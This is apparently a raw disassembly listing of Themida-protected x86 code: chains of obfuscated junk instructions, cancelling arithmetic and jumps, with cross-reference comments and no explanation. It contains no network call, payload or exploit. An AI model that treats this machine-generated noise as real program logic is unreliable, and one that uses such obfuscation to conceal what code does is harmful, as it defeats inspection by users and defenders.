push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
mov ch, ah
pop eax
pop ebx
mov [eax], ch
push dword ptr [esp]
pop ecx
push ebp
mov ebp, esp
jmp loc_55403F
; ---------------------------------------------------------------------------
loc_556FC1: ; CODE XREF: Themida_:005655FCj
push ebx
mov bl, 29h
add bl, 0A7h
not bl
xor bl, 90h
add dl, bl
pop ebx
push ecx
jmp loc_55F8A5
; ---------------------------------------------------------------------------
loc_556FD5: ; CODE XREF: Themida_:0055CE6Dj
add ebp, 4
sub ebp, 4
jmp loc_55A23C
; ---------------------------------------------------------------------------
loc_556FE3: ; CODE XREF: Themida_:0055E9F1j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_565116
; ---------------------------------------------------------------------------
loc_556FF9: ; CODE XREF: Themida_:0055763Fj
add ebp, 13FE16B6h
xor ebp, 64A15273h
add ebx, ebp
pop ebp
xchg ebx, [esp]
jmp loc_562948
; ---------------------------------------------------------------------------
loc_557010: ; CODE XREF: Themida_:00560ED4j
xor edi, 3CF41596h
add eax, edi
mov edi, [esp]
jmp loc_55734B
; ---------------------------------------------------------------------------
loc_557020: ; CODE XREF: Themida_:00561E82j
add esp, 4
push esi
mov esi, 4
add ebx, esi
mov esi, [esp]
add esp, 4
xchg ebx, [esp]
pop esp
push ebx
mov ebx, esp
jmp loc_550C0A
; ---------------------------------------------------------------------------
loc_557040: ; CODE XREF: Themida_:00561E71j
mov esp, [esp]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_557048: ; CODE XREF: Themida_:0055ACD7j
sub edx, 4EE97163h
inc edx
add edx, 0BAADCF7Fh
add ebp, edx
pop edx
jmp loc_56112A
; ---------------------------------------------------------------------------
loc_55705D: ; CODE XREF: Themida_:00557B22j
mov eax, 4
sub ecx, eax
pop eax
xchg ecx, [esp]
pop esp
mov [esp], ecx
push esp
pop ecx
push edi
mov edi, 51174768h
jmp loc_555955
; ---------------------------------------------------------------------------
loc_557079: ; CODE XREF: Themida_:00552C65j
mov [esp], ebx
not dword ptr [esp]
pop ebx
add ebx, 0A9C55EBh
push edi
mov edi, 0F3040B8h
and edi, 2F044E6Ah
push ecx
push eax
mov eax, 133F7715h
mov ecx, eax
pop eax
jmp loc_551BBD
; ---------------------------------------------------------------------------
loc_5570A1: ; CODE XREF: Themida_:005618F0j
mov ebx, [esp]
add esp, 4
push edi
mov edi, 2
jmp loc_555400
; ---------------------------------------------------------------------------
loc_5570B5: ; CODE XREF: Themida_:00556C4Fj
add ebx, 4
jmp loc_55DF5E
; ---------------------------------------------------------------------------
loc_5570C0: ; CODE XREF: Themida_:00553265j
xor al, dl
push dword ptr [esp]
jmp loc_565C04
; ---------------------------------------------------------------------------
loc_5570CA: ; CODE XREF: Themida_:00551EA9j
sub edx, 2E787DA9h
sub edx, eax
add edx, 2E787DA9h
mov eax, [esp]
add esp, 4
sub edx, 72D66A05h
sub esp, 4
jmp loc_553FE2
; ---------------------------------------------------------------------------
loc_5570EF: ; CODE XREF: Themida_:00562502j
add esp, 4
push edi
mov edi, 0AD83B02h
and edi, 6B02BEEh
shr edi, 8
sub edi, 586B604Fh
sub edi, 0A7972FD8h
add ebp, edi
pop edi
jmp loc_563C95
; ---------------------------------------------------------------------------
loc_557118: ; CODE XREF: Themida_:0055FE81j
and eax, ebx
pop ebx
add eax, 12E82338h
add ebx, eax
jmp loc_5655BC
; ---------------------------------------------------------------------------
loc_557127: ; CODE XREF: Themida_:00551B62j
sub eax, 150921EFh
jmp loc_55AD89
; ---------------------------------------------------------------------------
loc_557131: ; CODE XREF: Themida_:00555FE6j
mov [esp], edi
mov edi, 4F446483h
jmp loc_55FB17
; ---------------------------------------------------------------------------
loc_55713E: ; CODE XREF: Themida_:0055AE60j
pop esi
and ecx, edi
pop edi
shr ecx, 6
push 61FBh
jmp loc_5606A7
; ---------------------------------------------------------------------------
loc_55714F: ; CODE XREF: Themida_:005615BAj
sub esi, ebp
pop ebp
neg esi
xor esi, 0D2AA8F6Bh
add ecx, esi
jmp loc_554A41
; ---------------------------------------------------------------------------
loc_557161: ; CODE XREF: Themida_:0055FEFDj
add ecx, ebp
mov ebp, [esp]
add esp, 4
push ecx
jmp loc_559F55
; ---------------------------------------------------------------------------
loc_55716F: ; CODE XREF: Themida_:0055D484j
pop ebp
and ebp, 3EB51B5Ah
sub ebp, 26A027BEh
sub ebp, 0C303541Eh
jmp loc_5616A5
; ---------------------------------------------------------------------------
loc_557187: ; CODE XREF: Themida_:00551EFDj
pop esp
mov [esp], edx
jmp loc_565BAF
; ---------------------------------------------------------------------------
loc_557190: ; CODE XREF: Themida_:00551F28j
mov cl, 0DFh
add al, cl
jmp loc_55E759
; ---------------------------------------------------------------------------
loc_557199: ; CODE XREF: Themida_:00564999j
pop edi
push esi
push edi
jmp loc_551B78
; ---------------------------------------------------------------------------
loc_5571A1: ; CODE XREF: Themida_:00561207j
xor ebx, 14E1F8B4h
not ebx
push 73D8h
mov [esp], edx
mov edx, 0FFFFFFFFh
sub ebx, edx
pop edx
xor ebx, 0D201A7F4h
sub ecx, 1CE22866h
add ecx, ebx
add ecx, 1CE22866h
jmp loc_552B44
; ---------------------------------------------------------------------------
loc_5571D2: ; CODE XREF: Themida_:0056351Aj
add byte ptr [esp], 0BDh
mov dl, [esp]
add esp, 4
jmp loc_553262
; ---------------------------------------------------------------------------
loc_5571E1: ; CODE XREF: Themida_:0056506Bj
push 1D9Ah
mov [esp], eax
push edx
mov dl, bh
push ebx
mov bl, dl
mov al, bl
pop ebx
jmp loc_552BB7
; ---------------------------------------------------------------------------
loc_5571F7: ; CODE XREF: Themida_:0055C958j
mov [esp], edx
jmp loc_556ECB
; ---------------------------------------------------------------------------
loc_5571FF: ; CODE XREF: Themida_:0055778Bj
not edx
inc edx
jmp loc_557740
; ---------------------------------------------------------------------------
loc_557207: ; CODE XREF: Themida_:0055739Bj
push edx
mov edx, 66F25036h
jmp loc_565AF4
; ---------------------------------------------------------------------------
loc_557212: ; CODE XREF: Themida_:005611DAj
pop ebx
sub esp, 4
mov [esp], ebx
push 62594773h
pop ebx
jmp loc_556078
; ---------------------------------------------------------------------------
loc_557227: ; CODE XREF: Themida_:0055BF6Fj
add edx, 655E2478h
pop eax
xchg edx, [esp]
mov esp, [esp]
mov ax, [esp]
push 7887h
jmp loc_5647D2
; ---------------------------------------------------------------------------
loc_557242: ; CODE XREF: Themida_:00559258j
pop edx
push ebx
push edi
mov edi, 773528C6h
mov ebx, 0BD352921h
add ebx, edi
jmp loc_55EF1E
; ---------------------------------------------------------------------------
loc_557256: ; CODE XREF: Themida_:00557333j
pop ecx
jmp loc_560B91
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
sub esp, 4
mov [esp], esp
push 1CD5h
mov [esp], ebp
mov ebp, 4
add [esp+4], ebp
mov ebp, [esp]
add esp, 4
mov ecx, [esp]
jmp loc_556AFE
; ---------------------------------------------------------------------------
loc_557289: ; CODE XREF: Themida_:00563F3Cj
add esp, 4
add ecx, 90A3277h
jmp loc_555836
; ---------------------------------------------------------------------------
loc_55729A: ; CODE XREF: Themida_:00554258j
mov eax, 4
sub edi, 7DD744E2h
jmp loc_556A8B
; ---------------------------------------------------------------------------
loc_5572AA: ; CODE XREF: Themida_:00559EF0j
add edi, eax
add edi, 759128F9h
mov eax, [esp]
add esp, 4
sub edi, 2
xchg edi, [esp]
mov esp, [esp]
mov [esp], di
push small word ptr [esp+2]
pop di
pop small word ptr [esp]
jmp loc_55ACDC
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_563DBA
; ---------------------------------------------------------------------------
loc_5572E0: ; CODE XREF: Themida_:00555263j
add ecx, 4
jmp loc_55ADD1
; ---------------------------------------------------------------------------
loc_5572EB: ; CODE XREF: Themida_:0055E807j
pop ebx
sub esi, 0E93BF5EFh
add eax, 5E8F7E87h
push edx
mov edx, 150921EFh
add eax, edx
jmp loc_551B5A
; ---------------------------------------------------------------------------
loc_557304: ; CODE XREF: Themida_:005556D9j
add [esp+4], ebx
add dword ptr [esp+4], 11F5200Ah
jmp loc_56171C
; ---------------------------------------------------------------------------
loc_557315: ; CODE XREF: Themida_:005581D6j
xor edi, [esp]
jmp loc_565C53
; ---------------------------------------------------------------------------
loc_55731D: ; CODE XREF: Themida_:00554C5Dj
xor esi, [esp]
jmp loc_55FFCD
; ---------------------------------------------------------------------------
loc_557325: ; CODE XREF: Themida_:0055241Dj
add esp, 4
push eax
mov ah, 0C5h
sub cl, ah
pop eax
mov bl, cl
push dword ptr [esp]
jmp loc_557256
; ---------------------------------------------------------------------------
loc_557338: ; CODE XREF: Themida_:005553E3j
pop eax
xor dl, 0BAh
add al, dl
mov edx, [esp]
add esp, 4
add al, 9Dh
jmp loc_5541F1
; ---------------------------------------------------------------------------
loc_55734B: ; CODE XREF: Themida_:0055701Bj
add esp, 4
sub eax, 0A21AD6h
jmp loc_5518E4
; ---------------------------------------------------------------------------
loc_55735B: ; CODE XREF: Themida_:00556959j
mov [esp], ebp
mov ebp, esp
push edx
push eax
mov eax, 295F2334h
xor eax, 0E5E1F85h
mov edx, eax
jmp loc_55D541
; ---------------------------------------------------------------------------
loc_557373: ; CODE XREF: Themida_:0055EA14j
pop edi
sub eax, 25105983h
sub eax, 57C831FEh
sub eax, ebp
add eax, 57C831FEh
push edx
mov edx, 25105983h
add eax, edx
pop edx
add eax, 76D83573h
pop ebp
push ecx
push ebx
mov ebx, 62BD131Fh
jmp loc_557207
; ---------------------------------------------------------------------------
loc_5573A0: ; CODE XREF: Themida_:0055A497j
sub eax, 0DD85427h
jmp loc_56051A
; ---------------------------------------------------------------------------
loc_5573AA: ; CODE XREF: Themida_:0055971Fj
add esi, 4
jmp loc_553138
; ---------------------------------------------------------------------------
loc_5573B5: ; CODE XREF: Themida_:00561856j
add ebx, ecx
add ebx, 4E7E18C0h
pop ecx
xchg ebx, [esp]
mov esp, [esp]
movsx ecx, ax
push ebx
mov ebx, esp
sub esp, 4
jmp loc_551B49
; ---------------------------------------------------------------------------
loc_5573D2: ; CODE XREF: Themida_:0055FEA8j
mov edx, ebx
pop ebx
mov edi, [esp]
add esp, 4
add ebx, edx
pop edx
jmp loc_55E122
; ---------------------------------------------------------------------------
loc_5573E3: ; CODE XREF: Themida_:0055D18Dj
pop esp
jmp loc_555FF1
; ---------------------------------------------------------------------------
loc_5573E9: ; CODE XREF: Themida_:00558FE6j
dec dl
xor dl, 51h
jmp loc_5650E7
; ---------------------------------------------------------------------------
loc_5573F3: ; CODE XREF: Themida_:005581A3j
add edi, ecx
jmp loc_562E03
; ---------------------------------------------------------------------------
loc_5573FA: ; CODE XREF: Themida_:0055AE59j
dec ebp
add ebp, 43CF5566h
or ebp, 19A051CFh
sub ebp, 1FB5280Ah
or ecx, ebp
pop ebp
jmp loc_553720
; ---------------------------------------------------------------------------
loc_557415: ; CODE XREF: Themida_:00564EC2j
mov esp, [esp]
jmp loc_5568DF
; ---------------------------------------------------------------------------
loc_55741D: ; CODE XREF: Themida_:00565AA0j
add ebx, edx
add ebx, 37AC292Dh
mov edx, [esp]
jmp loc_55F533
; ---------------------------------------------------------------------------
loc_55742D: ; CODE XREF: Themida_:005640DEj
add esp, 4
jmp loc_55E72B
; ---------------------------------------------------------------------------
loc_557435: ; CODE XREF: Themida_:00554E87j
add ebp, ebx
pop ebx
add ebp, 4
jmp loc_5619B1
; ---------------------------------------------------------------------------
loc_557440: ; CODE XREF: Themida_:0055F13Dj
add ebx, 4
xchg ebx, [esp]
jmp loc_55EF44
; ---------------------------------------------------------------------------
loc_55744B: ; CODE XREF: Themida_:005629A9j
push ecx
mov ecx, 408E0501h
neg ecx
and ecx, 0F992D88h
jmp loc_55C50E
; ---------------------------------------------------------------------------
loc_55745E: ; CODE XREF: Themida_:0055993Dj
push ecx
mov ecx, esp
jmp loc_55BEE6
; ---------------------------------------------------------------------------
loc_557466: ; CODE XREF: Themida_:00551B55j
sub esp, 4
mov [esp], edi
mov edi, esp
push edx
mov edx, 4
add edi, edx
pop edx
sub edi, 4
xchg edi, [esp]
jmp loc_562E7B
; ---------------------------------------------------------------------------
loc_557488: ; CODE XREF: Themida_:0055A436j
mov eax, 4D7E4C76h
sub edx, eax
pop eax
sub edx, 101C44DCh
add edx, 2363727Eh
add edx, ebx
sub edx, 2363727Eh
add edx, 101C44DCh
add edx, 4D7E4C76h
pop ebx
sub esp, 4
mov [esp], esi
mov esi, 4
add edx, esi
jmp loc_559D9C
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_5590BB
; ---------------------------------------------------------------------------
loc_5574CB: ; CODE XREF: Themida_:00557CFCj
or edi, 293F3568h
xor edi, 0BBBF356Eh
add esi, 5E726287h
add esi, edi
sub esi, 5E726287h
pop edi
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55A732
; ---------------------------------------------------------------------------
loc_5574FF: ; CODE XREF: Themida_:0055DF95j
mov edi, 2E3D386Ch
or edi, 28B6C46h
push eax
push edi
jmp loc_5618DF
; ---------------------------------------------------------------------------
loc_557511: ; CODE XREF: Themida_:0055870Ej
mov al, ch
jmp loc_556348
; ---------------------------------------------------------------------------
loc_557518: ; CODE XREF: Themida_:0055E97Fj
pop ecx
push edx
jmp loc_55C1BB
; ---------------------------------------------------------------------------
loc_55751F: ; CODE XREF: Themida_:0055B489j
push ebx
push esp
pop ebx
jmp loc_553C3C
; ---------------------------------------------------------------------------
loc_557527: ; CODE XREF: Themida_:0056261Cj
mov ecx, esi
pop esi
jmp loc_5644ED
; ---------------------------------------------------------------------------
loc_55752F: ; CODE XREF: Themida_:0055AA03j
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_563D51
; ---------------------------------------------------------------------------
loc_557549: ; CODE XREF: Themida_:0055382Dj
add esp, 4
add esp, 4
jmp loc_56275E
; ---------------------------------------------------------------------------
loc_557554: ; CODE XREF: Themida_:005593B0j
add ebx, eax
push eax
mov eax, 53B31D60h
sub eax, 49E6AE8Ah
jmp loc_55311D
; ---------------------------------------------------------------------------
loc_557566: ; CODE XREF: Themida_:0055FA01j
push esp
mov edx, [esp]
add esp, 4
push edi
sub esp, 4
mov [esp], edx
push 3CF66F66h
pop edx
jmp loc_5575A4
; ---------------------------------------------------------------------------
loc_55757F: ; CODE XREF: Themida_:0055AF46j
add esi, 45EB73F5h
jmp loc_551D95
; ---------------------------------------------------------------------------
loc_55758A: ; CODE XREF: Themida_:005591DAj
push ebp
mov ebp, 76AE1865h
shr ebp, 5
jmp loc_559FBF
; ---------------------------------------------------------------------------
loc_557598: ; CODE XREF: Themida_:0055941Aj
push esi
not dword ptr [esp]
push dword ptr [esp]
jmp loc_55EEF5
; ---------------------------------------------------------------------------
loc_5575A4: ; CODE XREF: Themida_:0055757Aj
inc edx
or edx, 28EF7D55h
add edx, 0EE4973Dh
jmp loc_553E81
; ---------------------------------------------------------------------------
loc_5575B6: ; CODE XREF: Themida_:00565940j
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
sub esp, 4
mov [esp], eax
push esp
jmp loc_564301
; ---------------------------------------------------------------------------
loc_5575CC: ; CODE XREF: Themida_:0055E67Cj
neg edx
xchg eax, edx
not eax
xchg eax, edx
push ebp
push edx
mov edx, 148E00DCh
jmp loc_558777
; ---------------------------------------------------------------------------
loc_5575DE: ; CODE XREF: Themida_:00562027j
push ebp
push edi
mov edi, 4D6009F2h
mov ebp, edi
pop edi
inc ebp
jmp loc_55F600
; ---------------------------------------------------------------------------
loc_5575EE: ; CODE XREF: Themida_:00557D67j
mov dh, bh
jmp loc_55ACB0
; ---------------------------------------------------------------------------
loc_5575F5: ; CODE XREF: Themida_:00559EBBj
add eax, 65562DCEh
pop edx
sub edi, 6C184151h
add edi, 13947924h
add edi, eax
sub edi, 13947924h
add edi, 6C184151h
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_565251
; ---------------------------------------------------------------------------
loc_55762A: ; CODE XREF: Themida_:00553133j
push ebp
mov ebp, 2C1E2069h
shl ebp, 6
and ebp, 1B0A6167h
add ebp, 4D9B3B81h
jmp loc_556FF9
; ---------------------------------------------------------------------------
loc_557644: ; CODE XREF: Themida_:0055DE5Fj
mov edi, [esp]
add esp, 4
add edi, eax
push dword ptr [esp]
pop eax
push 40DAh
mov [esp], ecx
mov ecx, esp
jmp loc_55DFF3
; ---------------------------------------------------------------------------
loc_55765F: ; CODE XREF: Themida_:0055410Cj
mov [esp], eax
jmp loc_558980
; ---------------------------------------------------------------------------
loc_557667: ; CODE XREF: Themida_:0055F54Fj
neg ah
jmp loc_55CBE1
; ---------------------------------------------------------------------------
loc_55766E: ; CODE XREF: Themida_:005546CDj
sub ecx, 2EDE08BBh
mov ebx, [esp]
add esp, 4
jmp loc_561D2D
; ---------------------------------------------------------------------------
loc_55767F: ; CODE XREF: Themida_:0055FD05j
add ebp, 34FDC98Eh
mov eax, ebp
pop ebp
add eax, edx
pop edx
jmp loc_560B7C
; ---------------------------------------------------------------------------
loc_557690: ; CODE XREF: Themida_:00565AEFj
push 6959h
mov [esp], ecx
mov ecx, 348404E4h
xor ecx, 348404E0h
add eax, ecx
pop ecx
sub esp, 4
mov [esp], ecx
mov ecx, 4
sub eax, 2A4021F8h
add eax, ecx
add eax, 2A4021F8h
pop ecx
jmp loc_55CB28
; ---------------------------------------------------------------------------
loc_5576C6: ; CODE XREF: Themida_:00562FF6j
inc esi
dec esi
push ecx
mov ecx, 7E7902B7h
shl ecx, 6
push esi
mov esi, 26CC0017h
jmp loc_565355
; ---------------------------------------------------------------------------
loc_5576DC: ; CODE XREF: Themida_:0055B297j
push small 2
mov di, [esp]
jmp loc_55BA6A
; ---------------------------------------------------------------------------
loc_5576E9: ; CODE XREF: Themida_:00551226j
add esi, 75A25212h
pop edx
add esi, 4
xchg esi, [esp]
jmp loc_557B14
; ---------------------------------------------------------------------------
loc_5576FB: ; CODE XREF: Themida_:0055C7F4j
mov [esp], edi
push ebx
mov ebx, 195234A4h
add ebx, 0FFFFFFFFh
jmp loc_557774
; ---------------------------------------------------------------------------
loc_55770F: ; CODE XREF: Themida_:005510A9j
add esi, edi
sub esi, 79521123h
pop edi
jmp loc_55088A
; ---------------------------------------------------------------------------
loc_55771D: ; CODE XREF: Themida_:00559A8Dj
pop edx
jmp loc_558807
; ---------------------------------------------------------------------------
loc_557723: ; CODE XREF: Themida_:005648C0j
push ebx
push eax
pop ebx
mov esi, ebx
jmp loc_550B23
; ---------------------------------------------------------------------------
loc_55772D: ; CODE XREF: Themida_:00552E4Aj
mov dl, 0BDh
jmp loc_55EB8F
; ---------------------------------------------------------------------------
loc_557734: ; CODE XREF: Themida_:0055A01Ej
mov eax, [esp]
add esp, 4
push edi
jmp loc_55C629
; ---------------------------------------------------------------------------
loc_557740: ; CODE XREF: Themida_:00557202j
shl edx, 1
jmp loc_565697
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
sub esp, 4
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_5538F6
; ---------------------------------------------------------------------------
loc_55776C: ; CODE XREF: Themida_:005634F0j
sub esp, 4
jmp loc_55B4F4
; ---------------------------------------------------------------------------
loc_557774: ; CODE XREF: Themida_:0055770Aj
shr ebx, 4
shr ebx, 2
jmp loc_5521E4
; ---------------------------------------------------------------------------
loc_55777F: ; CODE XREF: Themida_:0055ED70j
push edx
mov edx, 39F7139Dh
add edx, 5B6A496Ch
jmp loc_5571FF
; ---------------------------------------------------------------------------
loc_557790: ; CODE XREF: Themida_:0055E927j
sub ecx, 9DAC06Bh
xor eax, ecx
pop ecx
add esi, eax
pop eax
jmp loc_55B436
; ---------------------------------------------------------------------------
loc_5577A1: ; CODE XREF: Themida_:00556793j
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_55E569
; ---------------------------------------------------------------------------
loc_5577AF: ; CODE XREF: Themida_:00550F9Ej
pop ecx
jmp loc_560F93
; ---------------------------------------------------------------------------
loc_5577B5: ; CODE XREF: Themida_:00561939j
xor [esp], ebp
xor ebp, [esp]
jmp loc_562C8D
; ---------------------------------------------------------------------------
loc_5577C0: ; CODE XREF: Themida_:0055581Bj
mov [esp], ebx
jmp loc_5636AE
; ---------------------------------------------------------------------------
loc_5577C8: ; CODE XREF: Themida_:00554E7Aj
mov ax, [esp]
jmp loc_562C10
; ---------------------------------------------------------------------------
loc_5577D1: ; CODE XREF: Themida_:00564676j
push eax
jmp loc_558214
; ---------------------------------------------------------------------------
loc_5577D7: ; CODE XREF: Themida_:0055C4B3j
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
push esi
mov esi, 673031B3h
neg esi
xchg ebx, esi
not ebx
xchg ebx, esi
or esi, 1B6634A4h
and esi, 364573BBh
xor esi, 364431B3h
sub ecx, esi
jmp loc_55D6C3
; ---------------------------------------------------------------------------
push 41F0h
mov [esp], ebp
push ebx
jmp loc_55F9C6
; ---------------------------------------------------------------------------
loc_557817: ; CODE XREF: Themida_:00560638j
mov eax, edx
mov edx, [esp]
push ebx
mov ebx, esp
jmp loc_554119
; ---------------------------------------------------------------------------
loc_557824: ; CODE XREF: Themida_:0055156Bj
mov eax, 47C377AFh
xor eax, 285474EDh
jmp loc_562CF0
; ---------------------------------------------------------------------------
loc_557833: ; CODE XREF: Themida_:00552EA2j
mov ch, 4Ah
add ch, al
pop eax
add ch, 0B3h
shl ch, 8
jmp loc_55DEA7
; ---------------------------------------------------------------------------
loc_557843: ; CODE XREF: Themida_:00564943j
pop edi
jmp loc_5550C6
; ---------------------------------------------------------------------------
loc_557849: ; CODE XREF: Themida_:00564D83j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55784E: ; CODE XREF: Themida_:0055A9B1j
mov edx, [esp]
jmp loc_5608F7
; ---------------------------------------------------------------------------
loc_557856: ; CODE XREF: Themida_:005649EDj
mov ebp, [esp]
add esp, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_563E22
; ---------------------------------------------------------------------------
loc_55786E: ; CODE XREF: Themida_:00554ABFj
mov eax, [esp]
push ecx
jmp loc_55478F
; ---------------------------------------------------------------------------
loc_557877: ; CODE XREF: Themida_:00563703j
mov ecx, 6AF94FC1h
sub eax, ecx
jmp loc_554384
; ---------------------------------------------------------------------------
loc_557883: ; CODE XREF: Themida_:0055E639j
mov esi, [esp]
add esp, 4
and edx, 0B4D557Fh
sub edx, 965829BEh
jmp loc_562F19
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ebp
push 7DC8h
push esp
pop dword ptr [esp]
push edi
jmp loc_560491
; ---------------------------------------------------------------------------
loc_5578B6: ; CODE XREF: Themida_:00564099j
pop ebp
push ecx
mov ecx, 359147DEh
add eax, ecx
pop ecx
push dword ptr [esp]
pop ebx
add esp, 4
push ecx
jmp loc_564F43
; ---------------------------------------------------------------------------
loc_5578CD: ; CODE XREF: Themida_:00563BEEj
pop edx
jmp loc_55121E
; ---------------------------------------------------------------------------
loc_5578D3: ; CODE XREF: Themida_:0055C8D4j
sub ecx, 3E927902h
jmp loc_5606B2
; ---------------------------------------------------------------------------
loc_5578DE: ; CODE XREF: Themida_:00559BBFj
push dword ptr [esp]
pop ebx
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push eax
mov eax, 2
add ecx, eax
pop eax
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov ax, [esp]
push 6471h
mov [esp], esi
mov esi, esp
add esi, 4
push edi
jmp loc_559E44
; ---------------------------------------------------------------------------
loc_557924: ; CODE XREF: Themida_:00560ADAj
sub esp, 4
mov [esp], ebx
push esp
pop ebx
jmp loc_550FF2
; ---------------------------------------------------------------------------
loc_557931: ; CODE XREF: Themida_:00564B03j
xor edx, ecx
jmp loc_55BD0E
; ---------------------------------------------------------------------------
loc_557938: ; CODE XREF: Themida_:005608A8j
mov ch, 9Bh
and al, ch
pop ecx
jmp loc_55FDDF
; ---------------------------------------------------------------------------
loc_557942: ; CODE XREF: Themida_:00561351j
mov dh, 0C9h
push ebx
mov bh, 65h
inc bh
push ax
mov al, 59h
and bh, al
pop ax
jmp loc_553B59
; ---------------------------------------------------------------------------
loc_557956: ; CODE XREF: Themida_:005553ABj
add ebx, eax
add ebx, 6D371430h
jmp loc_559DC1
; ---------------------------------------------------------------------------
loc_557963: ; CODE XREF: Themida_:00558C15j
push eax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55796A: ; CODE XREF: Themida_:005531A3j
pop eax
push edx
jmp loc_5539E4
; ---------------------------------------------------------------------------
loc_557971: ; CODE XREF: Themida_:00558461j
push 61CAh
mov [esp], eax
jmp loc_5594D1
; ---------------------------------------------------------------------------
loc_55797E: ; CODE XREF: Themida_:005592D6j
xor eax, 55E26660h
dec eax
inc eax
jmp loc_562404
; ---------------------------------------------------------------------------
loc_55798A: ; CODE XREF: Themida_:00560AD4j
push esp
pop ebx
add ebx, 4
jmp loc_5652E9
; ---------------------------------------------------------------------------
loc_557997: ; CODE XREF: Themida_:005535F1j
add edx, 6E3C4A97h
mov eax, [esp]
add esp, 4
jmp loc_559DA5
; ---------------------------------------------------------------------------
loc_5579AB: ; CODE XREF: Themida_:00558579j
mov [esp], ebx
push eax
push edi
mov edi, 16640D2Eh
jmp loc_560192
; ---------------------------------------------------------------------------
loc_5579BA: ; CODE XREF: Themida_:0055B836j
mov dh, 0CDh
add bl, dh
jmp loc_55A44C
; ---------------------------------------------------------------------------
loc_5579C3: ; CODE XREF: Themida_:00565064j
xor eax, [esp]
mov esp, [esp]
jmp loc_55CC44
; ---------------------------------------------------------------------------
loc_5579CE: ; CODE XREF: Themida_:00561150j
push 1FABh
mov [esp], edx
mov edi, [esp]
add esp, 4
jmp loc_55B959
; ---------------------------------------------------------------------------
loc_5579E4: ; CODE XREF: Themida_:00553A83j
push 4576h
mov [esp], ebx
jmp loc_55BDE8
; ---------------------------------------------------------------------------
loc_5579F1: ; CODE XREF: Themida_:0055C2AEj
shl ebx, 2
sub ebx, 0C9FF6BB3h
sub ebp, ebx
jmp loc_554503
; ---------------------------------------------------------------------------
loc_557A01: ; CODE XREF: Themida_:00562E19j
push eax
mov eax, esp
push ebp
mov ebp, esp
jmp loc_557F04
; ---------------------------------------------------------------------------
loc_557A0C: ; CODE XREF: Themida_:0055056Cj
mov edi, 15480C8Bh
xor edi, 48102401h
xor edi, 5D58288Eh
add ebx, edi
mov edi, [esp]
jmp loc_563BA8
; ---------------------------------------------------------------------------
loc_557A27: ; CODE XREF: Themida_:0055484Cj
xchg eax, ebp
pop ebp
and eax, 788E7634h
shl eax, 3
or eax, 21E554D7h
sub eax, 0A5F7F4D3h
add edi, eax
jmp loc_55DBC3
; ---------------------------------------------------------------------------
loc_557A42: ; CODE XREF: Themida_:005537F7j
sub esi, 8A64686h
add esi, ebp
add esi, 8A64686h
pop ebp
pop edx
jmp loc_556531
; ---------------------------------------------------------------------------
loc_557A57: ; CODE XREF: Themida_:00563EA3j
or edi, edx
pop edx
shr edi, 2
xor edi, 483941B8h
sub edi, 8A64270Fh
jmp loc_56215B
; ---------------------------------------------------------------------------
loc_557A6E: ; CODE XREF: Themida_:00562423j
push dword ptr [esp]
mov edx, [esp]
jmp loc_5625D3
; ---------------------------------------------------------------------------
loc_557A79: ; CODE XREF: Themida_:00556785j
add esi, 0F93B462Fh
mov edi, esi
jmp loc_55E41B
; ---------------------------------------------------------------------------
loc_557A86: ; CODE XREF: Themida_:00564535j
push edi
mov edi, esp
push edx
mov edx, 4
add edi, edx
pop edx
jmp loc_55FBC1
; ---------------------------------------------------------------------------
loc_557A97: ; CODE XREF: Themida_:0055C39Dj
sub ecx, ebp
pop ebp
xchg ecx, [esp]
jmp loc_564E7F
; ---------------------------------------------------------------------------
loc_557AA2: ; CODE XREF: Themida_:0055646Ej
push dword ptr [esp]
pop esi
jmp loc_5520B2
; ---------------------------------------------------------------------------
loc_557AAB: ; CODE XREF: Themida_:00554147j
mov edx, [esp]
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
push 0F47h
mov [esp], edi
mov edi, 4
add ebp, edi
pop edi
jmp loc_559000
; ---------------------------------------------------------------------------
loc_557ACF: ; CODE XREF: Themida_:005591E9j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_557AD4: ; CODE XREF: Themida_:00564F5Dj
mov [esp], edx
push 519D6943h
mov edx, [esp]
add esp, 4
jmp loc_562EEB
; ---------------------------------------------------------------------------
loc_557AE7: ; CODE XREF: Themida_:0055C235j
pop eax
push esi
mov edx, [esp]
jmp loc_55859D
; ---------------------------------------------------------------------------
loc_557AF1: ; CODE XREF: Themida_:0055ED47j
push edi
mov edi, 7CE23A6Ah
push ebp
mov ebp, 59542447h
and ebp, 0AC81D4Dh
add ebp, 7ADDC155h
add edi, ebp
pop ebp
add eax, edi
pop edi
jmp loc_552B21
; ---------------------------------------------------------------------------
loc_557B14: ; CODE XREF: Themida_:005576F6j
pop esp
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
push eax
jmp loc_55705D
; ---------------------------------------------------------------------------
loc_557B27: ; CODE XREF: Themida_:0055B14Aj
mov edi, 29A44803h
sub edi, 28123722h
sub eax, edi
pop edi
mov esi, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_5646CC
; ---------------------------------------------------------------------------
loc_557B46: ; CODE XREF: Themida_:0055583Ej
mov edx, [esp]
add esp, 4
add ebp, ecx
pop ecx
jmp loc_55C9C2
